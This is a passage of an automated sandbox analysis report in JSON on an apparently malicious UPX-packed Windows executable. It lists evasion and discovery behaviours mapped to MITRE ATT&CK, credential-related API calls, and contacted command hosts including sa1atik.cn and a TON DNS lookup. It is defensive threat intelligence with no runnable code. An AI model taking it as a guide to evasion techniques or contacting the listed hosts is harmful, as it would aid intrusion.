\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00001124.00000000.264273.03990000.00000004.mdmp, 00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform Base64 encoding/decoding","description":"$27","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"SA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - \\.\\1!; Source: \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\")\n Found string - \\\\.\\root\\cimv2; Source: \"00000000-00001124-00002713-3131929780\")\n Found string - \\.\\root\\cimv2; Source: \"00000000-00001124.00000000.264273.039D2000.00000004.mdmp, 00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Modifies process error mode to suppress error dialogs","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" set its error mode to SEM_FAILCRITICALERRORS","origin":"API Call","mitre_attack_id":"T1562.006","relevance":10,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$28","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$29","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-sized sections","description":"Raw size of \"UPX0\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00001124.00000000.264273.03990000.00000004.mdmp, 00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$2a","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.99992","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains reference to crypto DLLs\n Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: Contains CRYPTO related strings\n Matched sigs: Contains reference to cryptographic keys\n Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP\n Matched sigs: Reads the cryptographic machine GUID\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Sample file has high entropy (likely encrypted/compressed content)","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$2b","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001124-00000C2C-3128400842\")\n Found string \"GetLastInputInfo\" (Indicator: \"GetLastInputInfo\"; Source: \"00000000-00001124-00000C2C-3133114738\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00001124-00000C2C-3128521089\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00001124-00000C2C-3128521117\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00001124-00000C2C-3128521214\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00001124-00000C2C-3128877715\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"\" (Indicator: \"enumchildwindows\"; Source: \"00000000-00001124.00000000.264273.03990000.00000004.mdmp, 00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00001124)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" called \"GetComputerNameExW\" with parameters (UID: 00000000-00001124)\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00001124)\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" called \"GetAdaptersAddresses\" with parameters (UID: 00000000-00001124)\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" called \"Process32FirstW\" with parameters (UID: 00000000-00001124)\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" called \"Process32NextW\" with parameters (UID: 00000000-00001124)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00001124)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" called \"GetForegroundWindow\" (UID: 00000000-00001124)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" called \"GetWindowTextW\" (UID: 00000000-00001124)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00001124)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2c","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"Found string \"select * from Win32_OperatingSystem\" (Indicator: \"select * from \"; Source: \"00000000-00001124-00002714-3132775913\")\n Found string \"select * from Win32_OperatingSystem\" (Indicator: \"select * from \"; Source: \"00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000001.266193.06000000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-433","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"662118,2432,3024,,RtlGetVersion,NTDLL.dll,\"01:08:49.203\",RX=0,PX=0\" (Indicator: \"GetVersion\"; Source: \"00000000-00001124.00000000.264273.039D2000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Environment Awareness","name":"Executes WMI queries","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" issued a query \"Select Name from Win32_VideoController\"\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" issued a query \"select TotalPhysicalMemory from Win32_ComputerSystem\"\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" issued a query \"select Name from Win32_Processor\"\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" issued a query \"select * from Win32_OperatingSystem\"","origin":"API Call","mitre_attack_id":"T1047","relevance":10,"id":"api-56","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$2d","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Environment Awareness","name":"References to WMI query strings used for process discovery","description":"Found string \"select Name from Win32_Processor\" (Indicator: \" Win32_Process\"; Source: \"00000000-00001124-00002714-3132340150\")\n Found string \"select Name from Win32_Processor\" (Indicator: \" Win32_Process\"; Source: \"00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000001.266193.06000000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-513","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO Observed Cloudflare DNS over HTTPS Domain (cloudflare-dns .com in TLS SNI)\" (SID: 2027695, Rev: 5, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$2e","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$2f","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$30","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"sa1atik.cn\"\n \"tonapi.io\"\n \"ton.access.orbs.network\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"1.1.1.1:443\"\n \"104.16.249.249:443\"\n \"152.53.49.102:443\"\n \"172.66.170.210:443\"\n \"151.101.66.132:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"$31","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: 5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe)","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$32","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$33","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"Process 5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\SM0:1124:168:WilStaging_02\"\n Process 5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe created mutex with name \"SM0:1124:168:WilStaging_02\"\n Process 5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe created mutex with name \"\\BaseNamedObjects\\WEBR_JV35EBZ1U80V\"","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"premium-server@thawte.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$34","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"General","name":"GETs files from a web server (PE files)","description":"$35","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$36","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 76A00000\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 73EB0000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 765C0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"General","name":"Logged script engine calls","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" called \"WbemScripting.SWbemLocator.1.CreateObject\" ... \n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" called \"WbemScripting.SWbemLocator.1.ConnectServer\" with result: \"IDispatch\" ...\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" called \"WbemScripting.SWbemLocator.1(\"ConnectServer\").ExecQuery\" with result: \"IDispatch\" ...\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" called \"WbemScripting.SWbemLocator.1(\"ConnectServer\")(\"ExecQuery\").Count\" with result: \"1\" ...\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" called \"WbemScripting.SWbemLocator.1(\"ConnectServer\")(\"ExecQuery\")._NewEnum\" with result: \"IDispatch\" ...\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" called \"WbemScripting.SWbemLocator.1(\"ConnectServer\")(\"ExecQuery\").Count\" with result: \"2\" ...","origin":"API Call","mitre_attack_id":"T1059","relevance":10,"id":"api-64","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" was detected as \"UPX\" and name: \"Packer\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$37","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" has an executable section named \"UPX0\"\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" has an executable section named \"UPX1\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" has an writable section named \"UPX0\"\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" has an writable section named \"UPX1\"\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" has an writable section named \"UPX2\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" file has an entrypoint instructions - \"pushal\t,mov\tesi, 0xce8015,lea\tedi, [esi - 0x8e7015],push\tedi,mov\tebp, esp,lea\tebx, [esp - 0x3e80],xor\teax, eax,push\teax,cmp\tesp, ebx,jne\t0x1054858,inc\tesi,inc\tesi,push\tebx,push\t0xc52390,push\tedi,add\tebx, 4,push\tebx,push\t0x36c821,push\tesi,add\tebx, 4,push\tebx,push\teax,mov\tdword ptr [ebx], 0x20003,push\tebp,push\tedi,mov\tedi, 0,push\tesi,push\tebx,sub\tesp, 0x64,mov\tedx, dword ptr [esp + 0x78],mov\tdword ptr [esp + 0x5c], 0,lea\teax, [edx + 4],mov\tdword ptr [esp + 0x60], eax,mov\teax, 1,movzx\tecx, byte ptr [edx + 2],\"","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \"UPX1\" is \"0x36d600\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \"UPX0\" is \"0x8e7000\" greater than 0x100000\n Virtual size of \"UPX1\" is \"0x36e000\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"cloudflare-dns.com\"\n \"sa1atik.cn\"\n \"ton.access.orbs.network\"\n \"tonapi.io\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN\")\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN\")\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"$38","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"General","name":"Tries to GET non-existent files from a web server","description":"\"GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1\nHost: tonapi.io\nUser-Agent: Go-http-client/1.1\nContent-Type: application/octet-stream\nAccept-Encoding: gzip\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-3","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" has flags 